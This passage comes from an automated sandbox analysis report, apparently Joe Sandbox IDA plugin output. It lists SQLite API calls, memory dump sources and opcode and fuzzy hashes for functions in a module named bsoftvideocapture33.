                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_mutex_entersqlite3_mutex_leave
                                                                                          • String ID:
                                                                                          • API String ID: 1477753154-0
                                                                                          • Opcode ID: cc0b0c4414a91b2c8747a1fff16426ed14613a144e31e5ae299e51467139190c
                                                                                          • Instruction ID: 848dca46e936c6e01d33e08870ae11aa620bd8b24bdb606da7ea596206f2e213
                                                                                          • Opcode Fuzzy Hash: cc0b0c4414a91b2c8747a1fff16426ed14613a144e31e5ae299e51467139190c
                                                                                          • Instruction Fuzzy Hash: 44111F726186218FDB00EF7DC8817597FEAFB66308F00842DE865E7362E779D8819741
                                                                                          APIs
                                                                                          • sqlite3_initialize.SQLITE3 ref: 6092A450
                                                                                            • Part of subcall function 60912453: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 609124D1
                                                                                          • sqlite3_mutex_enter.SQLITE3 ref: 6092A466
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 6092A47F
                                                                                          • sqlite3_memory_used.SQLITE3 ref: 6092A4BA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_mutex_enter$sqlite3_initializesqlite3_memory_usedsqlite3_mutex_leave
                                                                                          • String ID:
                                                                                          • API String ID: 2673540737-0
                                                                                          • Opcode ID: 58333c90df1895ca2798dafcbab41657529afc007f85020e925d8580cfdcdfcb
                                                                                          • Instruction ID: c4988029ba64cfb2248a7cf0c790324acf4c13eb0f9cd3f15fdedc175ef3c91a
                                                                                          • Opcode Fuzzy Hash: 58333c90df1895ca2798dafcbab41657529afc007f85020e925d8580cfdcdfcb
                                                                                          • Instruction Fuzzy Hash: F9019276E143148BCB00EF79D88561ABFE7FBA5324F008528EC9497364E735DC408B81
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_value_text$sqlite3_freesqlite3_load_extension
                                                                                          • String ID:
                                                                                          • API String ID: 3526213481-0
                                                                                          • Opcode ID: e69664dddad2286ff6ed0cb1f1c7a121e5262b7aa8061cf10291ac83704fea4b
                                                                                          • Instruction ID: 98199466554994e62e20ad809be6129e3c08b78dd6d8c38fc18f61524e73aad2
                                                                                          • Opcode Fuzzy Hash: e69664dddad2286ff6ed0cb1f1c7a121e5262b7aa8061cf10291ac83704fea4b
                                                                                          • Instruction Fuzzy Hash: 4101E9B5A043059BCB00EF69D485AAFBBF5EF68654F10C529EC9497304E774D841CF91
                                                                                          APIs
                                                                                          • sqlite3_vmprintf.SQLITE3 ref: 609298DC
                                                                                            • Part of subcall function 60929643: sqlite3_initialize.SQLITE3 ref: 6092964D
                                                                                          • sqlite3_mprintf.SQLITE3 ref: 609298FC
                                                                                            • Part of subcall function 609296AA: sqlite3_initialize.SQLITE3 ref: 609296B0
                                                                                            • Part of subcall function 609296AA: sqlite3_vmprintf.SQLITE3 ref: 609296CA
                                                                                          • sqlite3_free.SQLITE3 ref: 60929907
                                                                                            • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                          • sqlite3_free.SQLITE3 ref: 60929922
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_freesqlite3_initializesqlite3_vmprintf$sqlite3_mprintfsqlite3_mutex_enter
                                                                                          • String ID:
                                                                                          • API String ID: 2126213637-0
                                                                                          • Opcode ID: 9cd505cc25204affe1a8d25f1b99f2f22cb65db7dde897ba5d76927de8a4b480
                                                                                          • Instruction ID: 13efba25bfc7911c5b295ff1541eb6c31128a22c7405fe94ccab49b9f850283e
                                                                                          • Opcode Fuzzy Hash: 9cd505cc25204affe1a8d25f1b99f2f22cb65db7dde897ba5d76927de8a4b480
                                                                                          • Instruction Fuzzy Hash: E5012CB4A143069FDB109F69D48164ABBF9FF68768F10442DE8D8C7304E774D980CB52
                                                                                          APIs
                                                                                            • Part of subcall function 6092506E: sqlite3_log.SQLITE3 ref: 609250AB
                                                                                          • sqlite3_log.SQLITE3 ref: 609258E5
                                                                                          • sqlite3_mutex_enter.SQLITE3 ref: 609258FF
                                                                                          • sqlite3_value_text.SQLITE3 ref: 60925918
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 60925932
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_log$sqlite3_mutex_entersqlite3_mutex_leavesqlite3_value_text
                                                                                          • String ID:
                                                                                          • API String ID: 645246966-0
                                                                                          • Opcode ID: 003c7d729514850cd2670d5ff0a501923a7c05c01e7ee08f7af9080d29ed2bfd
                                                                                          • Instruction ID: 8b3d20099653fcf7515df79f2a12a915b58be957357f5192ef5f37aead3f1b7c
                                                                                          • Opcode Fuzzy Hash: 003c7d729514850cd2670d5ff0a501923a7c05c01e7ee08f7af9080d29ed2bfd
                                                                                          • Instruction Fuzzy Hash: A3015274A18344CBDB149F69E4C13097BE6EF65358F049869EC898F309E774D8C0CB41
                                                                                          APIs
                                                                                          • sqlite3_prepare.SQLITE3 ref: 60969166
                                                                                          • sqlite3_errmsg.SQLITE3 ref: 60969172
                                                                                            • Part of subcall function 609258A8: sqlite3_log.SQLITE3 ref: 609258E5
                                                                                          • sqlite3_errcode.SQLITE3 ref: 6096918A
                                                                                            • Part of subcall function 609251AA: sqlite3_log.SQLITE3 ref: 609251E8
                                                                                          • sqlite3_step.SQLITE3 ref: 60969197
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_log$sqlite3_errcodesqlite3_errmsgsqlite3_preparesqlite3_step
                                                                                          • String ID:
                                                                                          • API String ID: 2877408194-0
                                                                                          • Opcode ID: 06185e76a961c89383dca1620ea17d5683e825aa4cba78efc797247d66345ea8
                                                                                          • Instruction ID: d4ebd4c9a05a553e526e78eaaf80584f3afcfe73b3175c4c6dada352db343273
                                                                                          • Opcode Fuzzy Hash: 06185e76a961c89383dca1620ea17d5683e825aa4cba78efc797247d66345ea8
                                                                                          • Instruction Fuzzy Hash: 9F0186B091C3059BE700EF29C88525DFBE9EFA5314F11892DA89987384E734C940CB86
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_freesqlite3_mprintfsqlite3_value_blobsqlite3_value_bytes
                                                                                          • String ID:
                                                                                          • API String ID: 1163609955-0
                                                                                          • Opcode ID: c446836a4840d302dbdc97fcf3f25a19881b43244be54ce00609cbc101420811
                                                                                          • Instruction ID: 8e0d1a1b7fe9adeaf330fda5a565ce202833de3a42fcd494fa905fee92021967
                                                                                          • Opcode Fuzzy Hash: c446836a4840d302dbdc97fcf3f25a19881b43244be54ce00609cbc101420811
                                                                                          • Instruction Fuzzy Hash: F6F0C8716282145FC3106F3994816697BE6DFA6758F0144A9F584CB314DB75CC82C742
                                                                                          APIs
                                                                                          • sqlite3_prepare_v2.SQLITE3 ref: 609615BA
                                                                                          • sqlite3_step.SQLITE3 ref: 609615C9
                                                                                          • sqlite3_column_int.SQLITE3 ref: 609615E1
                                                                                            • Part of subcall function 6091D4F4: sqlite3_value_int.SQLITE3 ref: 6091D50C
                                                                                          • sqlite3_finalize.SQLITE3 ref: 609615EE
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_column_intsqlite3_finalizesqlite3_prepare_v2sqlite3_stepsqlite3_value_int
                                                                                          • String ID:
                                                                                          • API String ID: 4265739436-0
                                                                                          • Opcode ID: edb1a347b7ee41d63e69a54b369763b34702b79c0c254a7699785c0090147395
                                                                                          • Instruction ID: 970f7a8085286b868af170b9ae73916577c28f03d50975cfa6e3c5bd991c66ad
                                                                                          • Opcode Fuzzy Hash: edb1a347b7ee41d63e69a54b369763b34702b79c0c254a7699785c0090147395
                                                                                          • Instruction Fuzzy Hash: BE01E4B0D083049BEB10EF69C58575EFBF9EFA5314F00896DE8A997380E775D9408B82
                                                                                          APIs
                                                                                          • sqlite3_initialize.SQLITE3 ref: 6092A638
                                                                                            • Part of subcall function 60912453: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 609124D1
                                                                                          • sqlite3_mutex_enter.SQLITE3 ref: 6092A64F
                                                                                          • strcmp.MSVCRT ref: 6092A66A
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 6092A67D
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_mutex_enter$sqlite3_initializesqlite3_mutex_leavestrcmp
                                                                                          • String ID:
                                                                                          • API String ID: 1894734062-0
                                                                                          • Opcode ID: 1480f87154849f1cdf239baa72c9ff1b5e3c835899009c68b4affe8256d9fce5
                                                                                          • Instruction ID: 0dacd04717b96a229033e5bf385d74358d6efc238696297f04088f4a0acd15ee
                                                                                          • Opcode Fuzzy Hash: 1480f87154849f1cdf239baa72c9ff1b5e3c835899009c68b4affe8256d9fce5
                                                                                          • Instruction Fuzzy Hash: EBF0B4726243044BC7006F799CC164A7FAEEEB1298B05802CEC548B319EB35DC0297A1
                                                                                          APIs
                                                                                          • sqlite3_mutex_enter.SQLITE3 ref: 609084E9
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 60908518
                                                                                          • sqlite3_mutex_enter.SQLITE3 ref: 60908528
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 6090855B
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_mutex_entersqlite3_mutex_leave
                                                                                          • String ID:
                                                                                          • API String ID: 1477753154-0
                                                                                          • Opcode ID: dbb0a767127359d75753d9f151f7b9e03affe710ab86404e29d94d971225fba8
                                                                                          • Instruction ID: c41a4d3f3efa942db11cbd34a9101edfe28f26dd6f673ba1da0d5803e4a0adbd
                                                                                          • Opcode Fuzzy Hash: dbb0a767127359d75753d9f151f7b9e03affe710ab86404e29d94d971225fba8
                                                                                          • Instruction Fuzzy Hash: FD01A4B05093048BDB40AF25C5D97CABBA5EF15718F0884BDEC894F34AD7B9D5448BA1
                                                                                          APIs
                                                                                          • sqlite3_free.SQLITE3 ref: 609408BE
                                                                                          • sqlite3_blob_close.SQLITE3 ref: 609408C9
                                                                                            • Part of subcall function 60940849: sqlite3_mutex_enter.SQLITE3 ref: 60940864
                                                                                            • Part of subcall function 60940849: sqlite3_finalize.SQLITE3 ref: 6094086F
                                                                                            • Part of subcall function 60940849: sqlite3_mutex_leave.SQLITE3 ref: 60940885
                                                                                          • sqlite3_free.SQLITE3 ref: 609408AD
                                                                                            • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                          • sqlite3_free.SQLITE3 ref: 609408D1
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_free$sqlite3_mutex_enter$sqlite3_blob_closesqlite3_finalizesqlite3_mutex_leave
                                                                                          • String ID:
                                                                                          • API String ID: 3376080156-0
                                                                                          • Opcode ID: 62bba8bded67edb3e7ec5b4190a567f2186f1725189168df9a038347470dbc26
                                                                                          • Instruction ID: d915195a03e04bddfc3f3f5b3271b7f2e0ed873b55f11ac5d14163ef78522696
                                                                                          • Opcode Fuzzy Hash: 62bba8bded67edb3e7ec5b4190a567f2186f1725189168df9a038347470dbc26
                                                                                          • Instruction Fuzzy Hash: F5E039B09087008FDB10AF79C5C57057BE9AB74318F4618ACE8C28B346E735D8C0CB92
                                                                                          APIs
                                                                                          • sqlite3_randomness.SQLITE3 ref: 6093E9A3
                                                                                          • sqlite3_randomness.SQLITE3 ref: 6093EAC1
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_randomness
                                                                                          • String ID:
                                                                                          • API String ID: 2799796375-3916222277
                                                                                          • Opcode ID: 229229ae701aea0a2e5856c37940d2b5861fd8a773e90e62e8eee996633a259a
                                                                                          • Instruction ID: 3887470c8237d86ac67bd2190f6f3690fc73287e72b0d230b9f4df168a81262f
                                                                                          • Opcode Fuzzy Hash: 229229ae701aea0a2e5856c37940d2b5861fd8a773e90e62e8eee996633a259a
                                                                                          • Instruction Fuzzy Hash: 8712D674A046288BDB24CF69C88079DBBF6BF98314F20856DD499A7391EB34ED85CF41
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_log
                                                                                          • String ID: into$out of
                                                                                          • API String ID: 632333372-1114767565
                                                                                          • Opcode ID: 05e60a680804dc8d75cc30d301a58b6784d3cbcabfb13c7dcba40214300a3b29
                                                                                          • Instruction ID: de20b162988cb891a2f8fbcf22309076e3e21d241eadb06c465d82de9f0e8d92
                                                                                          • Opcode Fuzzy Hash: 05e60a680804dc8d75cc30d301a58b6784d3cbcabfb13c7dcba40214300a3b29
                                                                                          • Instruction Fuzzy Hash: 91910170A043149BDB26CF28C88175EBBBABF65308F0481E9E858AB355D7B5DE85CF41
                                                                                          APIs
                                                                                            • Part of subcall function 60918408: sqlite3_value_text.SQLITE3 ref: 60918426
                                                                                          • sqlite3_free.SQLITE3 ref: 609193A3
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_freesqlite3_value_text
                                                                                          • String ID: (NULL)$NULL
                                                                                          • API String ID: 2175239460-873412390
                                                                                          • Opcode ID: 2d639d8f8789be8f4f2115c7e339461789bfa1512606a4b94e85873a15b94a2d
                                                                                          • Instruction ID: 63658e955800b40111a930d2026d12727b3b294c4be858d68b3f7c51d7abf176
                                                                                          • Opcode Fuzzy Hash: 2d639d8f8789be8f4f2115c7e339461789bfa1512606a4b94e85873a15b94a2d
                                                                                          • Instruction Fuzzy Hash: E3514B31F0825A8EEB258A68C89479DBBB6BF66304F1441E9C4A9AB241D7309DC6CF01
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_log
                                                                                          • String ID: -- $d
                                                                                          • API String ID: 632333372-777087308
                                                                                          • Opcode ID: 2197877c990d2cc598be623123ad695ba2ed3a88a0fc98749b4c643aad0a3996
                                                                                          • Instruction ID: d45f625f7ed72e8bd0cbe86fb5af212c953cff4c7e5ffbb26f6c4a79540968e1
                                                                                          • Opcode Fuzzy Hash: 2197877c990d2cc598be623123ad695ba2ed3a88a0fc98749b4c643aad0a3996
                                                                                          • Instruction Fuzzy Hash: FB51F674A043689BDB26CF28C980789BBFABF55304F1481D9E89CAB341C7759E85CF40
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_log
                                                                                          • String ID: string or blob too big$|
                                                                                          • API String ID: 632333372-330586046
                                                                                          • Opcode ID: b6301cf988e6664baaa8b4960c9a349f418ad1f33ca54faa928bbeacb0d503e6
                                                                                          • Instruction ID: 65a9847582dc10a4f4f17f1c4fc8d82f10366072c52f03016cacc5a11d353e3e
                                                                                          • Opcode Fuzzy Hash: b6301cf988e6664baaa8b4960c9a349f418ad1f33ca54faa928bbeacb0d503e6
